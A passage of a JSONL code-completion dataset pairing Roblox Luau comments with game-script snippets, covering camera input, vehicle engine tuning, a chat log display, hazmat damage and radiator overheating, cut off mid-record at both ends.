Enum.UserInputState.Begin then\n\t\tlocal v38 = 1;\n\telse\n\t\tv38 = 0;\n\tend;\n\tu6[p23.KeyCode.Name] = v38;\nend;\nlocal function u25(p24, p25, p26)\n\tif p25 == Enum.UserInputState.Begin then\n\t\tv16:Fire();\n\tend;\nend;\nlocal u26 = {};\nlocal function u27(p27, p28)\n\tif p27.UserInputType == Enum.UserInputType.Touch then\n\t\tu15(p27, p28);\n\t\treturn;\n\tend;\n\tif p27.UserInputType == Enum.UserInputType.MouseButton2 and not p28 then\n\t\tu11();\n\tend;\nend;\nlocal function u28(p29, p30)\n\tif p29.UserInputType == Enum.UserInputType.Touch then\n\t\tu16(p29, p30);\n\t\treturn;\n\tend;\n\tif p29.UserInputType == Enum.UserInputType.MouseMovement then\n\t\tu17(p29);\n\tend;\nend;\nlocal function u29(p31, p32)\n\tif p31.UserInputType == Enum.UserInputType.Touch then\n\t\tu18(p31, p32);\n\t\treturn;\n\tend;\n\tif p31.UserInputType == Enum.UserInputType.MouseButton2 then\n\t\tu14();\n\tend;\nend;\nlocal function u30(p33, p34, p35, p36)\n\tif not p36 then\n\t\tu7.Wheel = p33;\n\t\tu7.Pan = p34;\n\t\tu7.Pinch = -p35;\n\tend;\nend;\nfunction v15.setInputEnabled(p37)\n\tif u19 == p37 then\n\t\treturn;\n\tend;\n\tu19 = p37;\n\tu20();\n\tu21();\n\tif not u19 then\n\t\tl__ContextActionService__1:UnbindAction(\"RbxCameraThumbstick\");\n\t\tl__ContextActionService__1:UnbindAction(\"RbxCameraMouseMove\");\n\t\tl__ContextActionService__1:UnbindAction(\"RbxCameraMouseWheel\");\n\t\tl__ContextActionService__1:UnbindAction(\"RbxCameraKeypress\");\n\t\tfor v39, v40 in pairs(u26) do\n\t\t\tv40:Disconnect();\n\t\tend;\n\t\tu26 = {};\n\t\treturn;\n\tend;\n\tl__ContextActionService__1:BindActionAtPriority(\"RbxCameraThumbstick\", u22, false, l__Value__23, Enum.KeyCode.Thumbstick2);\n\tl__ContextActionService__1:BindActionAtPriority(\"RbxCameraKeypress\", u24, false, l__Value__23, Enum.KeyCode.Left, Enum.KeyCode.Right, Enum.KeyCode.I, Enum.KeyCode.O);\n\tl__ContextActionService__1:BindAction(\"RbxCameraGamepadZoom\", u25, false, Enum.KeyCode.ButtonR3);\n\ttable.insert(u26, l__UserInputService__2.InputBegan:Connect(u27));\n\ttable.insert(u26, l__UserInputService__2.InputChanged:Connect(u28));\n\ttable.insert(u26, l__UserInputService__2.InputEnded:Connect(u29));\n\ttable.insert(u26, l__UserInputService__2.PointerAction:Connect(u30));\nend;\nfunction v15.getInputEnabled()\n\treturn u19;\nend;\nfunction v15.resetInputForFrameEnd()\n\tu7.Movement = Vector2.new();\n\tu8.Move = Vector2.new();\n\tu8.Pinch = 0;\n\tu7.Wheel = 0;\n\tu7.Pan = Vector2.new();\n\tu7.Pinch = 0;\nend;\nl__UserInputService__2.WindowFocused:Connect(u20);\nl__UserInputService__2.WindowFocusReleased:Connect(u20);\nlocal u31 = false;\nfunction v15.getHoldPan()\n\treturn u31;\nend;\nlocal u32 = false;\nfunction v15.getTogglePan()\n\treturn u32;\nend;\nfunction v15.getPanning()\n\treturn u32 or u31;\nend;\nfunction v15.setTogglePan(p38)\n\tu32 = p38;\nend;\nlocal u33 = false;\nlocal u34 = nil;\nlocal u35 = nil;\nlocal l__Event__36 = v11.Event;\nlocal u37 = 0;\nlocal l__Event__38 = v12.Event;\nfunction v15.enableCameraToggleInput()\n\tif u33 then\n\t\treturn;\n\tend;\n\tu33 = true;\n\tu31 = false;\n\tu32 = false;\n\tif u34 then\n\t\tu34:Disconnect();\n\tend;\n\tif u35 then\n\t\tu35:Disconnect();\n\tend;\n\tu34 = l__Event__36:Connect(function()\n\t\tu31 = true;\n\t\tu37 = tick();\n\tend);\n\tu35 = l__Event__38:Connect(function()\n\t\tu31 = false;\n\t\tif tick() - u37 < 0.3 and (u32 or l__UserInputService__2:GetMouseDelta().Magnitude < 2) then\n\t\t\tu32 = not u32;\n\t\tend;\n\tend);\nend;\nfunction v15.disableCameraToggleInput()\n\tif not u33 then\n\t\treturn;\n\tend;\n\tu33 = false;\n\tif u34 then\n\t\tu34:Disconnect();\n\t\tu34 = nil;\n\tend;\n\tif u35 then\n\t\tu35:Disconnect();\n\t\tu35 = nil;\n\tend;\nend;\nreturn v15;\n"} +{"prompt": "-- In build mode, after every time you change this script, copy the script, delete it, and paste it back into your hat, if you don't, \n-- nothing will change, I don't know why, but this is how I make my givers.", "completion": "\n"} +{"prompt": "--[[\n\tRemoves a Tween from the scheduler.\n]]", "completion": "\nfunction TweenScheduler.remove(tween: Tween)\n\tallTweens[tween] = nil\nend\n"} +{"prompt": "--Change sound id to the id you want to play", "completion": "\n\n\ndebounce = false\n\nscript.Parent.Touched:connect(function(hit)\nscript.Parent:Destroy()\nend)\n"} +{"prompt": "--[[ << MODIFY COMMANDS >>\nThis allows you to change the permission type required to use a command\nFormat: [\"CommandName\"] = \"PermissionName\" ;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t]]", "completion": "\nModifiedCommands={\n\t[\"fly\"] = \"Admin\" ; -- This changes the command so that Admins (or above) can use it\n}\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t;Version = 1.3;--[[Don't edit this, otherwise the commands may break]]}\n"} +{"prompt": "-- Roblox User Input Control Modules - each returns a new() constructor function used to create controllers as needed", "completion": "\nlocal Keyboard = require(script:WaitForChild(\"Keyboard\"))\nlocal Gamepad = require(script:WaitForChild(\"Gamepad\"))\nlocal DynamicThumbstick = require(script:WaitForChild(\"DynamicThumbstick\"))\n\nlocal FFlagUserHideControlsWhenMenuOpen do\n\tlocal success, result = pcall(function()\n\t\treturn UserSettings():IsUserFeatureEnabled(\"UserHideControlsWhenMenuOpen\")\n\tend)\n\tFFlagUserHideControlsWhenMenuOpen = success and result\nend\n\nlocal FFlagUserDynamicThumbstickSafeAreaUpdate do\n\tlocal success, result = pcall(function()\n\t\treturn UserSettings():IsUserFeatureEnabled(\"UserDynamicThumbstickSafeAreaUpdate\")\n\tend)\n\tFFlagUserDynamicThumbstickSafeAreaUpdate = success and result\nend\n\nlocal TouchThumbstick = require(script:WaitForChild(\"TouchThumbstick\"))\n"} +{"prompt": "--end;", "completion": "\nl__Events__1.ChildAdded:Connect(function(p21)\n\tif p21:IsA(\"RemoteEvent\") or p21:IsA(\"RemoteFunction\") then\n\t\tListenRemote(p21.Name, p21:IsA(\"RemoteFunction\"));\n\tend;\nend);\nreturn v2;\n"} +{"prompt": "--[[\n\tLoadedWriteLibPacks = {\n\t\t[ModuleScript] = {\n\t\t\t{[func_id] = function, ...}, -- Write functions\n\t\t\t{[\"function_name\"] = func_id, ...}, -- Function names and their id's\n\t\t},\n\t\t...\n\t}\n--]]", "completion": "\n\nlocal WriteFunctionFlag = false -- Set to true when running inside a write function stack\n"} +{"prompt": "----- Shower plug handler -----", "completion": "\n\nshowerPlug.Interactive.ClickDetector.MouseClick:Connect(function()\n\tif p.ShowerMode.Value == false then\n\t\tp.ShowerMode.Value = true\n\t\tshowerPlug.Interactive.CFrame = showerPlug.Interactive.CFrame * CFrame.new(0,0.08,0)\n\t\tshowerPlug.Part.CFrame = showerPlug.Part.CFrame * CFrame.new(0,0.08,0)\n\telse\n\t\tp.ShowerMode.Value = false\n\t\tshowerPlug.Interactive.CFrame = showerPlug.Interactive.CFrame * CFrame.new(0,-0.08,0)\n\t\tshowerPlug.Part.CFrame = showerPlug.Part.CFrame * CFrame.new(0,-0.08,0)\n\tend\nend)\n"} +{"prompt": "-- NOTE, on the first, and last numbers, the ones that make your hat go left/right/ahead/back shouldn't be changed by whole numbers\n-- to make your hat giver perfect, if you have to use those two numbers, move it slowly by \".1's\"\n-- This can also go for the middle number. If your hat is slightly higher than its supposed to be, than edit the number slightly. \n-- Do not change the numbers by whole numbers, or else it will go really far off. Change the numbers by \".1's\" and \".2's\"", "completion": "\n\n\n"} +{"prompt": "-- fun\u00e7\u00e3o para adicionar v\u00edrgulas a um n\u00famero", "completion": "\nlocal function commaSeparateNumber(amount)\n\tlocal formatted = amount\n\twhile true do \n\t\tformatted, k = string.gsub(formatted, \"^(-?%d+)(%d%d%d)\", '%1,%2')\n\t\tif k == 0 then\n\t\t\tbreak\n\t\tend\n\tend\n\treturn \"R$: \"..formatted\nend\n"} +{"prompt": "--[[Engine]]", "completion": "\n\t--Torque Curve\n\tTune.Horsepower\t\t= 302\t\t--\t[TORQUE CURVE VISUAL]\n\tTune.IdleRPM\t\t= 700\t\t--\t\thttps://www.desmos.com/calculator/2uo3hqwdhf\n\tTune.PeakRPM\t\t= 7000\t\t--\t\tUse sliders to manipulate values\n\tTune.Redline\t\t= 9000\t\t--\t\tCopy and paste slider values into the respective tune values\n\tTune.EqPoint\t\t= 5500\n\tTune.PeakSharpness\t= 7.5\n\tTune.CurveMult\t\t= 0.16\n\t\n\t--Incline Compensation\n\tTune.InclineComp\t= 1.7\t\t\t-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)\n\t\n\t--Misc\n\tTune.RevAccel\t\t= 150\t\t-- RPM acceleration when clutch is off\n\tTune.RevDecay\t\t= 75\t\t-- RPM decay when clutch is off\n\tTune.RevBounce\t\t= 500\t\t-- RPM kickback from redline\n\tTune.IdleThrottle\t= 3\t\t\t-- Percent throttle at idle\n\tTune.ClutchTol\t\t= 500\t\t-- Clutch engagement threshold (higher = faster response)\n\t"} +{"prompt": "--///////////////////////// Constructors\n--//////////////////////////////////////", "completion": "\n\nfunction module.new()\n\tlocal obj = setmetatable({}, methods)\n\tobj.Destroyed = false\n\n\tlocal BaseFrame, Scroller, Layout = CreateGuiObjects()\n\tobj.GuiObject = BaseFrame\n\tobj.Scroller = Scroller\n\tobj.Layout = Layout\n\n\tobj.MessageObjectLog = {}\n\n\tobj.Name = \"MessageLogDisplay\"\n\tobj.GuiObject.Name = \"Frame_\" .. obj.Name\n\n\tobj.CurrentChannelName = \"\"\n\n\tobj.GuiObject:GetPropertyChangedSignal(\"AbsoluteSize\"):Connect(function()\n\t\tspawn(function() obj:ReorderAllMessages() end)\n\tend)\n\n\tif FlagFixChatMessageLogPerformance then\n\t\tlocal wasScrolledDown = true\n\n\t\tobj.Layout:GetPropertyChangedSignal(\"AbsoluteContentSize\"):Connect(function()\n\t\t\tlocal size = obj.Layout.AbsoluteContentSize\n\t\t\tobj.Scroller.CanvasSize = UDim2.new(0, 0, 0, size.Y)\n\t\t\tif wasScrolledDown then\n\t\t\t\tlocal windowSize = obj.Scroller.AbsoluteWindowSize\n\t\t\t\tobj.Scroller.CanvasPosition = Vector2.new(0, size.Y - windowSize.Y)\n\t\t\tend\n\t\tend)\n\n\t\tobj.Scroller:GetPropertyChangedSignal(\"CanvasPosition\"):Connect(function()\n\t\t\twasScrolledDown = obj:IsScrolledDown()\n\t\tend)\n\tend\n\n\treturn obj\nend\n\nreturn module\n"} +{"prompt": "--and create the \"Event.E\" syntax stub. Really it's just a stub to construct a table which our Create\n--function can recognize as special.", "completion": "\nCreate.E = function(eventName)\n\treturn {__eventname = eventName}\nend\n\n\nDamageValues = {\n\tBaseDamage = 5,\n\tSlashDamage = 8,\n\tLungeDamage = 12,\n}\n"} +{"prompt": "--Set up key bindings", "completion": "\nlocal KeyStates = {}\n\tInput.KeyStates = KeyStates\nlocal KeyMap = {}\n\tKeyMap.ShiftUp = {PrimaryKey = Enum.KeyCode.LeftShift, SecondaryKey = Enum.KeyCode.RightShift}\n\tKeyMap.ShiftDown = {PrimaryKey = Enum.KeyCode.LeftControl, SecondaryKey = Enum.KeyCode.RightControl}\n\tKeyMap.StrafeL = {PrimaryKey = Enum.KeyCode.A, SecondaryKey = Enum.KeyCode.Left}\n\tKeyMap.StrafeR = {PrimaryKey = Enum.KeyCode.D, SecondaryKey = Enum.KeyCode.Right}\n\tKeyMap.Forward = {PrimaryKey = Enum.KeyCode.W, SecondaryKey = Enum.KeyCode.Up}\n\tKeyMap.Backward = {PrimaryKey = Enum.KeyCode.S, SecondaryKey = Enum.KeyCode.Down}\n\t--KeyMap.Flip = {PrimaryKey = Enum.KeyCode.C, SecondaryKey = Enum.KeyCode.C}\n"} +{"prompt": "--tune", "completion": "\nlocal PSI = 20\nlocal Turbos = \"Twin\" -- \"Twin\",\"Single\" no quad turbo s14s pls ;)\nlocal TurboSize = \"Medium\" -- \"Small\",\"Medium\",\"Large\"\nlocal TwoStep = true\nlocal Valve = \"BOV\" -- \"BOV\",\"Bleed\""} +{"prompt": "-- Add individual test result to an aggregated test result", "completion": "\nlocal function buildFailureTestResult(testPath: Config_Path, err: SerializableError): TestResult\n\treturn {\n\t\tconsole = nil,\n\t\tdisplayName = nil,\n\t\tfailureMessage = nil,\n\t\tleaks = false,\n\t\tnumFailingTests = 0,\n\t\tnumPassingTests = 0,\n\t\tnumPendingTests = 0,\n\t\tnumTodoTests = 0,\n\t\topenHandles = {},\n\t\tperfStats = { end_ = 0, runtime = 0, slow = false, start = 0 },\n\t\tskipped = false,\n\t\tsnapshot = {\n\t\t\tadded = 0,\n\t\t\tfileDeleted = false,\n\t\t\tmatched = 0,\n\t\t\tunchecked = 0,\n\t\t\tuncheckedKeys = {},\n\t\t\tunmatched = 0,\n\t\t\tupdated = 0,\n\t\t},\n\t\ttestExecError = err,\n\t\ttestFilePath = testPath,\n\t\ttestResults = {},\n\t}\nend\n\nlocal function addResult(aggregatedResults: AggregatedResult, testResult: TestResult): ()\n\t-- `todos` are new as of Jest 24, and not all runners return it.\n\t-- Set it to `0` to avoid `NaN`\n\tif not Boolean.toJSBoolean(testResult.numTodoTests) then\n\t\ttestResult.numTodoTests = 0\n\tend\n\ttable.insert(aggregatedResults.testResults, testResult)\n\taggregatedResults.numTotalTests += testResult.numPassingTests + testResult.numFailingTests + testResult.numPendingTests + testResult.numTodoTests\n\taggregatedResults.numFailedTests += testResult.numFailingTests\n\taggregatedResults.numPassedTests += testResult.numPassingTests\n\taggregatedResults.numPendingTests += testResult.numPendingTests\n\taggregatedResults.numTodoTests += testResult.numTodoTests\n\tif Boolean.toJSBoolean(testResult.testExecError) then\n\t\taggregatedResults.numRuntimeErrorTestSuites += 1\n\tend\n\tif Boolean.toJSBoolean(testResult.skipped) then\n\t\taggregatedResults.numPendingTestSuites += 1\n\telseif Boolean.toJSBoolean(testResult.numFailingTests > 0 or testResult.testExecError) then\n\t\taggregatedResults.numFailedTestSuites += 1\n\telse\n\t\taggregatedResults.numPassedTestSuites += 1\n\tend -- Snapshot data\n\tif Boolean.toJSBoolean(testResult.snapshot.added) then\n\t\taggregatedResults.snapshot.filesAdded += 1\n\tend\n\tif Boolean.toJSBoolean(testResult.snapshot.fileDeleted) then\n\t\taggregatedResults.snapshot.filesRemoved += 1\n\tend\n\tif Boolean.toJSBoolean(testResult.snapshot.unmatched) then\n\t\taggregatedResults.snapshot.filesUnmatched += 1\n\tend\n\tif Boolean.toJSBoolean(testResult.snapshot.updated) then\n\t\taggregatedResults.snapshot.filesUpdated += 1\n\tend\n\taggregatedResults.snapshot.added += testResult.snapshot.added\n\taggregatedResults.snapshot.matched += testResult.snapshot.matched\n\taggregatedResults.snapshot.unchecked += testResult.snapshot.unchecked\n\tif\n\t\tBoolean.toJSBoolean(\n\t\t\tif Boolean.toJSBoolean(testResult.snapshot.uncheckedKeys)\n\t\t\t\tthen #testResult.snapshot.uncheckedKeys > 0\n\t\t\t\telse testResult.snapshot.uncheckedKeys\n\t\t)\n\tthen\n\t\ttable.insert(\n\t\t\taggregatedResults.snapshot.uncheckedKeysByFile,\n\t\t\t{ filePath = testResult.testFilePath, keys = testResult.snapshot.uncheckedKeys }\n\t\t)\n\tend\n\taggregatedResults.snapshot.unmatched += testResult.snapshot.unmatched\n\taggregatedResults.snapshot.updated += testResult.snapshot.updated\n\taggregatedResults.snapshot.total += testResult.snapshot.added + testResult.snapshot.matched + testResult.snapshot.unmatched + testResult.snapshot.updated\nend\n\nlocal function createEmptyTestResult(): TestResult\n\treturn {\n\t\tleaks = false, -- That's legacy code, just adding it as needed for typing\n\t\tnumFailingTests = 0,\n\t\tnumPassingTests = 0,\n\t\tnumPendingTests = 0,\n\t\tnumTodoTests = 0,\n\t\topenHandles = {},\n\t\tperfStats = { end_ = 0, runtime = 0, slow = false, start = 0 },\n\t\tskipped = false,\n\t\tsnapshot = {\n\t\t\tadded = 0,\n\t\t\tfileDeleted = false,\n\t\t\tmatched = 0,\n\t\t\tunchecked = 0,\n\t\t\tuncheckedKeys = {},\n\t\t\tunmatched = 0,\n\t\t\tupdated = 0,\n\t\t},\n\t\ttestFilePath = \"\",\n\t\ttestResults = {},\n\t}\nend\n\nreturn {\n\tmakeEmptyAggregatedTestResult = makeEmptyAggregatedTestResult,\n\tbuildFailureTestResult = buildFailureTestResult,\n\taddResult = addResult,\n\tcreateEmptyTestResult = createEmptyTestResult,\n}\n"} +{"prompt": "-- Add script when player is added", "completion": "\ngame.Players.PlayerAdded:connect(function(player)\n\taddMyLocalScript(player)\nend)\n\nlocal function openDrawer(player, drawer)\n\tdrawer.Open.Value = not drawer.Open.Value\nend\n"} +{"prompt": "-- Calculate label length", "completion": "\nlocal LABEL_TEXT = 'SHIFT-Z'\nlocal LABEL_LENGTH = TextService:GetTextSize(LABEL_TEXT,\n 24/2, Enum.Font.SourceSans, Vector2.new(math.huge, math.huge)).X\nlocal ICON_SIZE = 21\n\nlocal function ScopeOutTooltip(props)\n return new('ImageLabel', {\n BackgroundTransparency = 1;\n ImageTransparency = 1 - 0.07;\n Image = 'rbxassetid://4445959523';\n ScaleType = Enum.ScaleType.Slice;\n SliceCenter = Rect.new(4, 4, 12, 12);\n ImageColor3 = Color3.fromRGB(0, 0, 0);\n Size = UDim2.new(0, LABEL_LENGTH + (ICON_SIZE + 9)/2, 0, 30/2);\n LayoutOrder = props.LayoutOrder or 3;\n },\n {\n IconWrapper = new('Frame', {\n Size = UDim2.new(0, ICON_SIZE/2, 0, ICON_SIZE/2);\n Position = UDim2.new(0, 0, 0.5, 0);\n AnchorPoint = Vector2.new(0, 0.5);\n BackgroundTransparency = 1;\n LayoutOrder = 0;\n },\n {\n Icon = new('ImageLabel', {\n Size = UDim2.new(1, 0, 1, 0);\n BackgroundTransparency = 1;\n ImageTransparency = 0.7;\n Image = 'rbxassetid://2244452978';\n ImageRectOffset = Vector2.new(14*3, 0) * 2;\n ImageRectSize = Vector2.new(14, 14) * 2;\n Rotation = -90;\n });\n });\n Label = new('TextLabel', {\n BackgroundTransparency = 1;\n Size = UDim2.new(0, LABEL_LENGTH, 1, 0);\n Position = UDim2.new(0, ICON_SIZE/2, 0.5, 0);\n AnchorPoint = Vector2.new(0, 0.5);\n Font = Enum.Font.SourceSans;\n TextSize = 24/2;\n Text = LABEL_TEXT;\n TextTransparency = 0.7;\n TextYAlignment = Enum.TextYAlignment.Center;\n TextColor3 = Color3.fromRGB(255, 255, 255);\n LayoutOrder = 1;\n });\n })\nend\n\nreturn ScopeOutTooltip\n"} +{"prompt": "--[[\n\tNew Hazmat Handler by Phoenix\n\tWoopsie\n]]", "completion": "\n\nlocal InChamber = {}\nlocal State = \"Normal\" -- Normal, Hazard, Dead\n\nlocal Check = function(Player)\n\tlocal Character = Player.Character\n\t\n\tif not Character:FindFirstChild(\"Torso\") or not Character:FindFirstChild(\"Helmet\") then\n\t\trepeat\n\t\t\tif not Character:FindFirstChild(\"Torso\") or not Character:FindFirstChild(\"Helmet\") and Character.Humanoid.Health > 0 then\n\t\t\t\tif State == \"Normal\" then\n\t\t\t\t\tCharacter.Humanoid.Health = Character.Humanoid.Health - 5\n\t\t\t\telseif State == \"Hazard\" then\n\t\t\t\t\tCharacter.Humanoid.Health = Character.Humanoid.Health - 10\n\t\t\t\telseif State == \"Dead\" then\n\t\t\t\t\tCharacter.Humanoid.Health = Character.Humanoid.Health - 20\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tif Character.Humanoid.Health <= 0 then\n\t\t\t\tInChamber[Player]:Disconnect()\n\t\t\t\tInChamber[Player] = nil\n\t\t\t\t\n\t\t\t\tbreak\n\t\t\tend\n\t\t\t\n\t\t\twait(1)\n\t\tuntil InChamber[Player] == nil\n\telseif State == \"Hazard\" then\n\t\trepeat\n\t\t\tCharacter.Humanoid.Health = Character.Humanoid.Health - 1.5\n\t\t\t\n\t\t\tif Character.Humanoid.Health <= 0 then\n\t\t\t\tInChamber[Player]:Disconnect()\n\t\t\t\tInChamber[Player] = nil\n\t\t\t\t\n\t\t\t\tbreak\n\t\t\tend\n\t\t\t\n\t\t\twait(2)\n\t\tuntil InChamber[Player] == nil\n\telseif State == \"Dead\" then\n\t\trepeat\n\t\t\tCharacter.Humanoid.Health = Character.Humanoid.Health - 3\n\t\t\t\n\t\t\tif Character.Humanoid.Health <= 0 then\n\t\t\t\tInChamber[Player]:Disconnect()\n\t\t\t\tInChamber[Player] = nil\n\t\t\t\t\n\t\t\t\tbreak\n\t\t\tend\n\t\t\t\n\t\t\twait(1)\n\t\tuntil InChamber[Player] == nil\n\tend\nend\n\nlocal Set = function(Player, SetState)\n\tif SetState == true then\n\t\tInChamber[Player] = Player.Character.Humanoid.Died:Connect(function()\n\t\t\tif InChamber[Player] ~= nil then\n\t\t\t\tInChamber[Player]:Disconnect()\n\t\t\tend\n\t\t\t\n\t\t\tInChamber[Player] = nil\n\t\tend)\n\n\t\tgame:GetService(\"ReplicatedStorage\").Game.Events.Game.Hazmat:FireClient(Player, true, State)\n\n\t\tCheck(Player)\n\telse\n\t\tif InChamber[Player] ~= nil then\n\t\t\tInChamber[Player]:Disconnect()\n\t\t\tInChamber[Player] = nil\n\t\tend\n\t\t\n\t\tgame:GetService(\"ReplicatedStorage\").Game.Events.Game.Hazmat:FireClient(Player, false)\n\tend\nend\n\ngame:GetService(\"ServerScriptService\").Server.Events.HZReturnState.OnInvoke = function(Player)\n\tif InChamber[Player] ~= nil then\n\t\treturn true\n\tend\n\t\n\treturn false\nend\n\ngame:GetService(\"ServerScriptService\").Server.Events.HZSet.Event:Connect(function(Player, State)\n\tSet(Player, State)\nend)\n\ngame:GetService(\"ServerScriptService\").Server.Events.HZState.Event:Connect(function(SetState)\n\tif State ~= \"Dead\" then\n\t\tState = SetState\n\t\t\n\t\tfor Player, NA in pairs(InChamber) do\n\t\t\tif Player ~= nil and NA ~= nil and Player.Character then\n\t\t\t\tif InChamber[Player] ~= nil then\n\t\t\t\t\tInChamber[Player]:Disconnect()\n\t\t\t\t\tInChamber[Player] = nil\n\t\t\t\tend\n\n\t\t\t\tdelay(3, function() \n\t\t\t\t\tInChamber[Player] = Player.Character.Humanoid.Died:Connect(function()\n\t\t\t\t\t\tif InChamber[Player] ~= nil then\n\t\t\t\t\t\t\tInChamber[Player]:Disconnect()\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\tInChamber[Player] = nil\n\t\t\t\t\tend)\n\t\t\t\t\t\n\t\t\t\t\tgame:GetService(\"ReplicatedStorage\").Game.Events.Game.Hazmat:FireClient(Player, true, State)\n\t\t\t\t\t\n\t\t\t\t\tCheck(Player)\n\t\t\t\tend)\n\t\t\tend\n\t\tend\n\tend\nend)\n\ngame:GetService(\"ReplicatedStorage\").Game.Events.Game.HazmatState.OnServerInvoke = function()\n\treturn State\nend\n\ngame:GetService(\"ServerStorage\").Bindables:WaitForChild(\"Regen\").Event:Connect(function()\n\tState = \"Normal\"\nend) \n"} +{"prompt": "--// SS3.33T Police Edit originally for 2017 Mercedes-Benz E300 by Itzt and MASERATl, base SS by Inspare", "completion": "\n \nwait(0.1)\nlocal player = game.Players.LocalPlayer\nlocal HUB = script.Parent.HUB\nlocal limitButton = HUB.Name\nlocal lightOn = false\nlocal Camera = game.Workspace.CurrentCamera\nlocal cam = script.Parent.nxtcam.Value\nlocal carSeat = script.Parent.CarSeat.Value\nlocal mouse = game.Players.LocalPlayer:GetMouse()\n"} +{"prompt": "--local Sprinting =false", "completion": "\nlocal L_142_ = L_118_.new(Vector3.new())\nL_142_.s = 15\nL_142_.d = 0.5\n\ngame:GetService(\"UserInputService\").InputChanged:connect(function(L_269_arg1) --Get the mouse delta for the gun sway\n\tif L_269_arg1.UserInputType == Enum.UserInputType.MouseMovement then\n\t\tL_137_ = math.min(math.max(L_269_arg1.Delta.x, -L_139_), L_139_)\n\t\tL_138_ = math.min(math.max(L_269_arg1.Delta.y, -L_139_), L_139_)\n\tend\nend)\n\nL_4_.Idle:connect(function() --Reset the sway to 0 when the mouse is still\n\tL_137_ = 0\n\tL_138_ = 0\nend)\n\nlocal L_143_ = false\nlocal L_144_ = CFrame.new()\nlocal L_145_ = CFrame.new()\n\nlocal L_146_ = 0\nlocal L_147_ = CFrame.new()\nlocal L_148_ = 0.1\nlocal L_149_ = 2\n\nlocal L_150_ = 0\nlocal L_151_ = .2\nlocal L_152_\t= 17\n\nlocal L_153_ = 0\nlocal L_154_ = 5\nlocal L_155_ = .3\n\n\n\nlocal L_156_, L_157_ = 0, 0\n\nlocal L_158_ = nil\nlocal L_159_ = nil\nlocal L_160_ = nil\n\nL_3_.Humanoid.Running:connect(function(L_270_arg1)\n\tif L_270_arg1 > 1 then\n\t\tL_143_ = true\n\telse\n\t\tL_143_ = false\n\tend\nend)\n"} +{"prompt": "--[[Engine]]", "completion": "\n\t--Torque Curve\n\tTune.Horsepower\t\t= 500\t\t--\t[TORQUE CURVE VISUAL]\n\tTune.IdleRPM\t\t= 1000\t\t--\t\thttps://www.desmos.com/calculator/2uo3hqwdhf\n\tTune.PeakRPM\t\t= 11000\t\t--\t\tUse sliders to manipulate values\n\tTune.Redline\t\t= 12000\t\t--\t\tCopy and paste slider values into the respective tune values\n\tTune.EqPoint\t\t= 5500\n\tTune.PeakSharpness\t= 7.5\n\tTune.CurveMult\t\t= 0.16\n\t\n\t--Incline Compensation\n\tTune.InclineComp\t= 1.7\t\t\t-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)\n\t\n\t--Misc\n\tTune.RevAccel\t\t= 150\t\t-- RPM acceleration when clutch is off\n\tTune.RevDecay\t\t= 75\t\t-- RPM decay when clutch is off\n\tTune.RevBounce\t\t= 500\t\t-- RPM kickback from redline\n\tTune.IdleThrottle\t= 3\t\t\t-- Percent throttle at idle\n\tTune.ClutchTol\t\t= 500\t\t-- Clutch engagement threshold (higher = faster response)\n\t"} +{"prompt": "--easter egg", "completion": "\nmouse.KeyDown:connect(function(key)\n\tif key==\"u\" and script.Blown.Value == false then\n\t\tHeat = Heat+1\n\tend\nend)\n\nif not FE then\n\t\nradiator.Oil.Enabled = false\nradiator.Antifreeze.Enabled = false\nradiator.Liquid.Volume = 0\nradiator.Fan:Play()\nradiator.Fan.Pitch = 1+FanSpeed\nradiator.Steam:Play()\nradiator.Liquid:Play()\nscript.Blown.Value = false\n\nwhile wait(.2) do\n\tif Heat > FanTemp and Fan == true then\n\t\tFanCool = -FanSpeed\n\t\tradiator.Fan.Volume = FanVolume\n\telseif Heat < FanTempAlpha then\n\t\tFanCool = 0\n\t\tradiator.Fan.Volume = 0\n\tend\n\t\n\tLoad = ((script.Parent.Parent.Values.Throttle.Value*script.Parent.Parent.Values.RPM.Value*10*OverheatSpeed)/math.ceil((car.DriveSeat.Velocity.magnitude+.0000001)/100)/75000)-CoolingEfficiency\n\tHeat = math.max(RunningTemp,(Heat+Load)+FanCool)\n\t\n\tif Heat >= BlowupTemp then\n\t\tHeat = BlowupTemp\n\t\tradiator.Break:Play()\n\t\tradiator.Liquid.Volume = .5\n\t\tradiator.Oil.Enabled = true\n\t\tradiator.Antifreeze.Enabled = true\n\t\tscript.Parent.Parent.IsOn.Value = false\n\t\tscript.Blown.Value = true\n\telseif Heat >= BlowupTemp-10 then\n\t\tradiator.Smoke.Transparency = NumberSequence.new((BlowupTemp-Heat)/10,1)\n\t\tradiator.Smoke.Enabled = true\n\t\tradiator.Steam.Volume = math.abs(((BlowupTemp-Heat)-10)/10)\n\telse\n\t\tradiator.Smoke.Enabled = false\n\t\tradiator.Steam.Volume = 0\n\tend\n\t\n\tscript.Celsius.Value = Heat\n\tscript.Parent.Temp.Text = math.floor(Heat)..\"\u00b0c\"\n\tscript.Parent.Temp.TextColor3 = Color3.fromRGB(255,255-((Heat-FanTemp)*10),255-((Heat-FanTemp)*10))\nend\n\nelse\n\n\thandler:FireServer(\"Initialize\",FanSpeed)\nwhile wait(.2) do\n\t\n\tif Heat > FanTemp and Fan == true then\n\t\tFanCool = -FanSpeed\n\t\thandler:FireServer(\"FanVolume\",FanVolume)\n\telse\n\t\tFanCool = 0\n\t\thandler:FireServer(\"FanVolume\",0)\n\tend\n\t\n\tLoad = ((script.Parent.Parent.Values.Throttle.Value*script.Parent.Parent.Values.RPM.Value*10*OverheatSpeed)/math.ceil((car.DriveSeat.Velocity.magnitude+.0000001)/100)/75000)-CoolingEfficiency\n\tHeat = math.max(RunningTemp,(Heat+Load)+FanCool)\n\t\n\tif Heat >= BlowupTemp then\n\t\tHeat = BlowupTemp\n\t\thandler:FireServer(\"Blown\")\n\t\tscript.Parent.Parent.IsOn.Value = false\n\t\tscript.Blown.Value = true\n\telseif Heat >= BlowupTemp-10 then\n\t\thandler:FireServer(\"Smoke\",true,BlowupTemp,Heat)\n\telse\n\t\thandler:FireServer(\"Smoke\",false,BlowupTemp,Heat)\n\tend\n\t\n\tscript.Celsius.Value 